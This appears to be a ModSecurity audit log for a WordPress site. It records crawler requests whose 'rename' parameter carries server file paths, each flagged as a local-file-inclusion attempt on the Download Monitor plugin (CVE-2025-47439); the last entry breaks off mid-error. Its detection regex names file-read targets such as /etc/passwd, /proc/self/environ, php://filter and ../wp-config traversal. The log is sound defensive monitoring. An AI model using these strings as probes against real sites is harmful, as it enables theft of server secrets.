{"transaction":{"time":"13/Mar/2026:10:16:17.944660 +0100","transaction_id":"abPV4ZZ0pPXOF9thrJ_IXAAAAME","remote_address":"57.141.20.15","remote_port":60440,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/responsive-add-ons/responsive-add-ons.2.9.1.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.15","X-Forwarded-Proto":"https","X-Request-Id":"bb8b455283fbe034d67cb3ef300a545a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14680467"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"bb8b455283fbe034d67cb3ef300a545a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/responsive-add-ons/responsive-add-ons.2.9.1.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":455,"p2":7045,"p3":0,"p4":0,"p5":437,"sr":232,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:16:27.446823 +0100","transaction_id":"abPV6329rYkRMjwGQQbUcwAAAJI","remote_address":"57.141.20.2","remote_port":60388,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/astra-sites/astra-sites.4.4.24.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.2","X-Forwarded-Proto":"https","X-Request-Id":"cff1a3069dc81739504541bea7eb1da3","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14680501"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"cff1a3069dc81739504541bea7eb1da3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/astra-sites/astra-sites.4.4.24.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":268,"p2":5966,"p3":0,"p4":0,"p5":316,"sr":130,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:16:31.470222 +0100","transaction_id":"abPV7329rYkRMjwGQQbUgAAAAJI","remote_address":"57.141.20.17","remote_port":60388,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/opt/php7.1/include/php/main/php.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.17","X-Forwarded-Proto":"https","X-Request-Id":"f9684fcb5dfe74172c4554fd223a4427","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2820403"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"f9684fcb5dfe74172c4554fd223a4427","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php7.1/include/php/main/php.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":256,"p2":6319,"p3":0,"p4":0,"p5":328,"sr":142,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:16:40.303670 +0100","transaction_id":"abPV93hj1Fyg-cNIPthEmQAAA4k","remote_address":"57.141.20.16","remote_port":37078,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/ghostscript/10.05.1/lib/align.ps HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.16","X-Forwarded-Proto":"https","X-Request-Id":"051e13762df516e1ddb0ac4d9067c730","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2329515"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"051e13762df516e1ddb0ac4d9067c730","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/ghostscript/10.05.1/lib/align.ps||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":341,"p2":7062,"p3":0,"p4":0,"p5":2345,"sr":142,"sw":0,"l":0,"gc":2009},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:16:58.021570 +0100","transaction_id":"abPWCTb3wvxkMAdFF6geYQAAAEI","remote_address":"57.141.20.45","remote_port":37018,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/themes/astra/astra.4.11.10.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.45","X-Forwarded-Proto":"https","X-Request-Id":"4af9a9326181d3ca6f19832432c06a6a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"234425"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"4af9a9326181d3ca6f19832432c06a6a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/themes/astra/astra.4.11.10.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":376,"p2":11619,"p3":0,"p4":0,"p5":387,"sr":172,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:17:11.244169 +0100","transaction_id":"abPWFn29rYkRMjwGQQbU9AAAAJE","remote_address":"57.141.20.49","remote_port":59574,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/ca-certificates/mozilla/TWCA_Global_Root_CA.crt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.49","X-Forwarded-Proto":"https","X-Request-Id":"244ebc1a7f609910e6ec3e9026bc2040","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13927216"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"244ebc1a7f609910e6ec3e9026bc2040","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/ca-certificates/mozilla/TWCA_Global_Root_CA.crt||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":289,"p2":5980,"p3":0,"p4":0,"p5":364,"sr":162,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:17:15.366329 +0100","transaction_id":"abPWGpZ0pPXOF9thrJ_I1AAAAMM","remote_address":"57.141.20.12","remote_port":52066,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/royal-elementor-addons/royal-elementor-addons.1.7.1042.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.12","X-Forwarded-Proto":"https","X-Request-Id":"4bc90c263ded68413c544bea50a6189b","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10816803"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"4bc90c263ded68413c544bea50a6189b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/royal-elementor-addons/royal-elementor-addons.1.7.1042.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":316,"p2":10286,"p3":0,"p4":0,"p5":346,"sr":145,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:17:38.315652 +0100","transaction_id":"abPWMTb3wvxkMAdFF6gfGQAAAEI","remote_address":"57.141.20.21","remote_port":37018,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/opt/php7.0/lib/php/PEAR/XMLParser.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.21","X-Forwarded-Proto":"https","X-Request-Id":"d943ebb0a7dfd568374a75bcca697e37","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6461030"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"d943ebb0a7dfd568374a75bcca697e37","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php7.0/lib/php/PEAR/XMLParser.php||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":329,"p2":11064,"p3":0,"p4":0,"p5":332,"sr":144,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:19:10.356155 +0100","transaction_id":"abPWjXOLliqCo9FxU0QeaAAAABg","remote_address":"57.141.20.17","remote_port":33136,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/zoneinfo/Etc/GMT0 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.17","X-Forwarded-Proto":"https","X-Request-Id":"814a6f33029df9710e2183868e7e0f37","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9965926"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"814a6f33029df9710e2183868e7e0f37","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/zoneinfo/Etc/GMT0||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":314,"p2":6658,"p3":0,"p4":0,"p5":337,"sr":141,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:22:07.532505 +0100","transaction_id":"abPXP3IphvtP7WWXUSjsfAAAA0I","remote_address":"57.141.20.34","remote_port":38326,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/opt/php5.6/include/php/Zend/zend_ast.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.34","X-Forwarded-Proto":"https","X-Request-Id":"ad3dde0fcfdef04adc487e370043501c","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14615172"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"ad3dde0fcfdef04adc487e370043501c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php5.6/include/php/Zend/zend_ast.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":286,"p2":5508,"p3":0,"p4":0,"p5":377,"sr":152,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:31:24.403230 +0100","transaction_id":"abPZa3IphvtP7WWXUSjzUAAAA1M","remote_address":"57.141.20.33","remote_port":36030,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/eu/LC_MESSAGES/shared-mime-info.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.33","X-Forwarded-Proto":"https","X-Request-Id":"9cbbdf3a0db82b8973fcf06c2a8959ca","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14484343"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"9cbbdf3a0db82b8973fcf06c2a8959ca","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/eu/LC_MESSAGES/shared-mime-info.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":265,"p2":5298,"p3":0,"p4":0,"p5":327,"sr":116,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:31:24.882428 +0100","transaction_id":"abPZbHIphvtP7WWXUSjzUwAAA1M","remote_address":"40.77.167.46","remote_port":36030,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/194986151 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"40.77.167.46","X-Forwarded-Proto":"http","X-Request-Id":"66368cd60d4650e72add953959736137","X-L-Admin-Auth":"0","From":"bingbot(at)microsoft.com","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36","Accept":"*/*","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13273015","Accept-Encoding":"br,gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"66368cd60d4650e72add953959736137","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in 